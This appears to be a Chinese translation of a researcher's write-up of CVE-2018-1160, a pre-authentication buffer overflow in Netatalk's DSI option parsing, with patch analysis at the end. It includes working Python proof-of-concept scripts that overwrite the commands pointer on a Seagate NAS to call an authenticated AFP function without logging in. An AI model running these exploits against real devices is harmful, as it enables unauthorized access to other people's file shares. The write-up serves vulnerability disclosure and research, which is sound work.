导语:最近,我发现并报告了一个Netatalk缓冲区溢出漏洞(CVE-2018-1160),这个漏洞允许远程未经身份验证的攻击者覆盖某些结构数据。利用该漏洞,我成功绕过身份验证,并获得对AFP卷的完全控制。本文将主要分析我们是如何发现并利用这个漏洞
概述
最近,我发现并报告了一个Netatalk缓冲区溢出漏洞(CVE-2018-1160),这个漏洞非常古老,允许远程未经身份验证的攻击者覆盖某些结构数据。利用该漏洞,我成功绕过身份验证,并获得对AFP卷的完全控制。本文将主要分析我们是如何发现并利用这个漏洞的。
漏洞利用视频:https://youtu.be/SCGzlz4DJLg
关于Netatalk
Netatalk是苹果归档协议(Apple Filing Protocol,AFP)的一种实现。该项目自身非常古老,在Sourceforge的第一次导入最早可以追溯到2000年,但该项目的实际年龄比这还要更长。从main.c中,我们可以看到相应的注释:
/* * Copyright © 1990,1993 Regents of The University of Michigan. * All Rights Reserved. See COPYRIGHT. */
如今,Netatalk已经不再像以前那样受欢迎,其他的一些网络文件共享协议已经超过了AFP(例如SMB)。但是,我们仍然看到Netatalk在Sourceforge中具有非常多的下载量,它在许多Linux发行版本的官方存储库中都有一个软件包。我也在很多路由器和NAS上都发现了Netatalk,因此该协议仍然存在于我们周围。
我想说的是,假如Shodan可以搜索AFP,你一定会发现十亿台Netatalk服务器,但实际上Shodan没有这个功能。不过,请大家相信我,真的有这么多用户。
漏洞概述
自从2000年最初引入Sourceforge以来,Netatalk的漏洞一直就没有引起充分的重视。
这个错误其实非常简单,以下是Netatalk 3.1.11版本中的代码:
/* parse options */ while (i < dsi->cmdlen) { switch (dsi->commands[i++]) { case DSIOPT_ATTNQUANT: memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); dsi->attn_quantum = ntohl(dsi->attn_quantum); case DSIOPT_SERVQUANT: /* just ignore these */ default: i += dsi->commands[i] + 1; /*forward past length tag + length */ break; } }
大家可能看得还不是很明显。那么我来强调一个前提,如果说dsi->attn_quantum这个4字节整数和dsi->commands是由攻击者控制的,那么大家应该就一目了然了。
接下来,我们分析memcpy。攻击者控制的两个参数负责将数据复制到整型变量中。攻击者控制源(dsi->commands + i + 1)和大小(dsi->commands[i])。由于dsi->commands是char数组,因此size参数的最大值限制为255。
在开始寻找“AAAAAAAAAAAAAAAAAAAAAAAA”之前,我们首先检查实际上可以覆盖的内容。以下代码来自include/libatalk/dsi.h:
#define DSI_DATASIZ 65536 /* child and parent processes might interpret a couple of these * differently. */ typedef struct DSI { struct DSI *next; /* multiple listening addresses */ AFPObj *AFPobj; int statuslen; char status[1400]; char *signature; struct dsi_block header; struct sockaddr_storage server, client; struct itimerval timer; int tickle; /* tickle count */ int in_write; int msg_request; /* pending message to the client */ int down_request; /* pending SIGUSR1 down in 5 mn */ uint32_t attn_quantum, datasize, server_quantum; uint16_t serverID, clientID; uint8_t *commands; /* DSI recieve buffer */ uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */ size_t datalen, cmdlen; ...
由于数据阵列中存在大量“黑洞”,因此我们只能覆盖datasize、server_quantum、serverID、clientID、命令指针以及部分数据。
污点分析
人们总是想要知道我是如何发现这个漏洞的。他们总是想听到“污点分析”(Taint Analysis)这个词。当他们听到“中间语言”时,可能会叹气。人们希望能看到种子语料库,并希望能听到前沿研究的内容。
我在从奥斯汀飞往费城的3个小时航班上发现了这个漏洞。当时,我刚开完一个会议,准备飞回家,路途上网络不是太好,我没有什么可以做的。因此,我在笔记本电脑上安装了Netatalk源,尝试绕过NAS项目。一开始,我从阅读main源代码起步。
PoC
该漏洞具有一个独特的特点,其中一个被覆盖的变量server_quantum会被反射到攻击者那里。经过分析,下面代码将向服务器发送一个格式正确的DSI Open Session请求。
import socket import struct import sys if len(sys.argv) != 3: sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + ip + ":" + sys.argv[2] sock.connect((ip, port)) dsi_opensession = "\x01" # attention quantum option dsi_opensession += "\x04" # length dsi_opensession += "\x00\x00\x40\x00" # client quantum dsi_header = "\x00" # "request" flag dsi_header += "\x04" # open session command dsi_header += "\x00\x01" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(dsi_opensession)) dsi_header += "\x00\x00\x00\x00" # reserved dsi_header += dsi_opensession sock.sendall(dsi_header) try: resp = sock.recv(1024) print "[+] Fin." except: print "[-] No response!"
服务器响应中,包含最初在配置文件中定义的“quantum”值。在WireShark抓取的数据包中,我们可以看到“quantum”值为0x100000或1048576。
我们只需要覆盖那个值。通过更新dsi_opensession Payload,可以提供超出整数范围的写入长度(0x0c)。
dsi_opensession = "\x01" # attention quantum option dsi_opensession += "\x0c" # length (/)o,,o(/) dsi_opensession += "\x00\x00\x40\x00" # client quantum dsi_opensession += '\x00\x00\x00\x00' # overwrites datasize dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum
现在,响应中将显示0xdeadbeef,这是服务器的“quantum”值。
命令指针的生命周期
我们想要执行控制,就必须找到一个突破点。在可以覆盖的五个变量中,只有命令似乎可行。
再将新连接分叉到自己的进程后不久,命令指针的生命周期就开始了。在初始化dsi结构时,会分配一系列堆内存,并将其分配给命令。在Netatalk的AFP函数处理之前,每个传入的AFP消息都会写入命令指针。直到连接结束后、进程退出前,命令存储器才会被释放。
命令将根据在etc/afpd/switch.c中定义的名为afp_switch的全局跳转表指针(Global Jump Table Pointer)传递到系统。afp_switch指向包含255个条目的跳转表。其中的每个条目,都是NULL(未实现),或者是在命令中处理AFP数据的函数。
afp_switch指向跳转表的两个版本之一。其中,第一个跳转表是preauth_switch,它只包含未经身份验证的用户可以调用的四个函数,这是默认的afp_switch表。第二个跳转表是postauth_switch,在用户进行身份验证后,它会被交换到afp_switch。
以下是从etc/afpd/afp_dsi.c调用跳转表函数的简化后逻辑:
function = (u_char) dsi->commands[0]; if (afp_switch[function]) { err = (*afp_switch[function])(obj, (char *)dsi->commands, dsi->cmdlen, (char *)&dsi->data, &dsi->datalen); } else { LOG(log_maxdebug, logtype_afpd, "bad function %X", function); dsi->datalen = 0; err = AFPERR_NOOP; }
阶段小结
在我看来,目前我们就已经有了一个“可以在任意地方写入任意东西”的漏洞。后续的工作应该非常容易。只需按照以下四个简单的步骤进行:
1、用我们选择的地址覆盖命令指针;
2、使用AFP数据包写入该地址;
3、挥手;
4、执行控制。
接下来的问题就是,我们写入到什么地址上?这确实是一个困难的问题,我们可能无法回答这一问题。例如,在Ubuntu上,默认情况下启用了ASLR,官方Netatalk软件包已经编译为与位置无关。我们预先不清楚任何地址。在这种情况下,我们就无法继续前进。
但是,就算关上了门,总还是有窗。映入我们眼前的,是嵌入式系统。
在本文的后续部分,我将专注于特定的希捷(Seagate)NAS。在这里,并不是说所有NAS都是不安全的。希捷只是出现了一点熟路:他们没有将Netatalk编译为与位置无关的可执行文件。这就是我们所需要的一切。
选准目标:preauth_switch
接下来,我们选择使用preauth_switch地址来覆盖命令指针,原因如下:
1、preauth_switch是一个大多为空的函数表。
2、客户端通过AFP数据包来决定调用哪个preauth_switch函数。
3、客户端不需要进行身份验证,即可调用preauth_switch函数。
我们遇到的第一个挑战,是找到preauth_switch地址。与postauth_switch不同,preauth_switch只有本地链接。这意味着,如果二进制文件被移除,那么preauth_switch符号将会从符号表中被删除。以下是两个例子:
[email protected]:~$ readelf -s afpd.netgear | grep "auth_switch" 493: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch 176: 000166e8 596 FUNC LOCAL DEFAULT 11 set_auth_switch 798: 0008395c 1024 OBJECT LOCAL DEFAULT 22 preauth_switch 2572: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch [email protected]:~$ readelf -s afpd.seagate | grep "auth_switch" 313: 000000000063ae40 2048 OBJECT GLOBAL DEFAULT 24 postauth_switch [email protected]:~$
在我从Netgear设备中提取的二进制文件中,大家可以看到我们轻松提取到了preauth_switch地址(0x8395c)。但是,希捷的二进制文件被剥离了,因此我们需要更深入的查看。在这里,打开我们最喜欢的反汇编工具,然后找到afp_switch。
我们现在可以看到,preauth_switch从0x63b660开始。
深入研究preauth_switch
我们在preauth_switch中写了什么?怎么处理一个需要身份验证的函数?接下来,我们将要尝试如何控制执行流程并验证身份验证。一个不错的目标是afp_getsrvrinfo。afp_getsrvinfo就像DSI GetStatus一样,除了会经过身份验证的AFP。
我们可以在postauth_switch的第16个条目中,找到afp_getsrvinfo。
要执行此计划,我们需要更新脚本,从而使用preauth_switch地址(0x63b600)覆盖命令指针。
dsi_payload = "\x00\x00\x40\x00" # client quantum dsi_payload += '\x00\x00\x00\x00' # overwrites datasize dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr dsi_opensession = "\x01" # attention quantum option dsi_opensession += struct.pack("B", len(dsi_payload)) # length dsi_opensession += dsi_payload
在同一连接之后的每个后续AFP请求将被写入0x63b660。因此,我们只需要确定要将afp_getsrvrinfo的地址写入哪个表索引。我们知道,AFP消息的第一个字节是命令,该命令用于执行表查找。
我们无法将afp_getsrvrinfo地址写入表索引0,因为索引被命令字节部分耗尽。但是,从表中第8个字节开始的索引1是可以使用的。如果我们将afp_getsrvrinfo地址写入索引1中,那么就能够通过将AFP请求命令字节设置为1的方法来调用它。
但是,我们目前还不太清楚afp_getsrvrinfo的地址,接下来要解决这一问题。
[email protected]:~$ readelf -a afpd.seagate | grep getsrvrinfo 241: 00000000004295f0 55 FUNC GLOBAL DEFAULT 13 afp_getsrvrinfo
最终,我们构造了会调用afp_getsvrinfo的AFP消息。dsi_header部分看起来几乎和之前一样,除了我们需要更新第二个字节,以指示Payload是AFP命令。此外,我们需要增加请求ID。afp_command从1开始,然后进行填充,直到我们可以在表的第二个条目中写入afp_getsvrinfo的地址。
afp_command = "\x01" # invoke the second entry in the table afp_command += "\x00" # protocol defined padding afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry afp_command += struct.pack("Q", 0x4295f0) # address to jump to dsi_header = "\x00" # "request" flag dsi_header += "\x02" # "AFP" command dsi_header += "\x00\x02" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(afp_command)) dsi_header += '\x00\x00\x00\x00' # reserved dsi_header += afp_command
整个脚本最终的代码如下:
import socket import struct import sys if len(sys.argv) != 3: sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + ip + ":" + sys.argv[2] sock.connect((ip, port)) dsi_payload = "\x00\x00\x40\x00" # client quantum dsi_payload += '\x00\x00\x00\x00' # overwrites datasize dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr dsi_opensession = "\x01" # attention quantum option dsi_opensession += struct.pack("B", len(dsi_payload)) # length dsi_opensession += dsi_payload dsi_header = "\x00" # "request" flag dsi_header += "\x04" # open session command dsi_header += "\x00\x01" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(dsi_opensession)) dsi_header += "\x00\x00\x00\x00" # reserved dsi_header += dsi_opensession sock.sendall(dsi_header) resp = sock.recv(1024) print "[+] Open Session complete" afp_command = "\x01" # invoke the second entry in the table afp_command += "\x00" # protocol defined padding afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry afp_command += struct.pack("Q", 0x4295f0) # address to jump to dsi_header = "\x00" # "request" flag dsi_header += "\x02" # "AFP" command dsi_header += "\x00\x02" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(afp_command)) dsi_header += '\x00\x00\x00\x00' # reserved dsi_header += afp_command print "[+] Sending get server info request" sock.sendall(dsi_header) resp = sock.recv(1024) print resp print "[+] Fin."
接下来,我们要做的就是测试。
[email protected]:~$ python afp_srvrinfo.py 192.168.88.252 548 [+] Attempting connection to 192.168.88.252:548 [+] Open Session complete [+] Sending get server info request �,W��] Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2 DHCAST128Cleartxt Passwrd�������@��@[email protected]@Ѐ���r�"�@[email protected]@[email protected][email protected]�]t>��� @���@�@��?������������������������������������������������������������?���������@��?�����4���b8�eQ�x����5 Seagate-DP2 [+] Fin.
成功了!
什么?你说无法呈现UTF-8字符这一点看起来不太成功?但其实你错了,这就是成功后的样子。这正是我们期望afp_getsvrinfo命令实现的。我们刚刚没有实现解析过程。
请注意,在下面的截图中,可以看到Wireshark认为我们正在执行afp_bytelock函数(postauth_switch表的条目1)。Wireshark也无法解析Payload,因为Payload并不是来自afp_bytelock。
要想完全实现漏洞利用,所要进行的工作比这更加复杂。我们需要为参数传递预留出空间,并实现AFP消息解析。但这一切都非常乏味。大家都知道,写代码并不好玩,但如果各位读者有兴趣,可以在我们的GitHub上找到完整的漏洞。
漏洞修复与补丁分析
Netatalk的开发人员发布了一个更大的补丁来修复这一漏洞。其中最主要的部分将在下面重点体现。实际上,要修复这一漏洞,只需要进行一次简单的长度检查即可。
case DSIOPT_ATTNQUANT: - memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); + if (option_len != sizeof(dsi->attn_quantum)) { + LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu", + cmd, option_len); + exit(EXITERR_CLNT); + } + memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
我之前提到过,这个memcpy漏洞似乎在Netatalk引入Sourceforge就已经存在了。但是,我试图在Netgear路由器上针对2.2.5版本(2013年发布)进行漏洞利用,但以失败告终。事实证明,DSI的结构在Netatalk 3.0.1(2012年发布)中有所调整,但没有向后移植到2.x版本中。这一调整允许我们覆盖命令指针。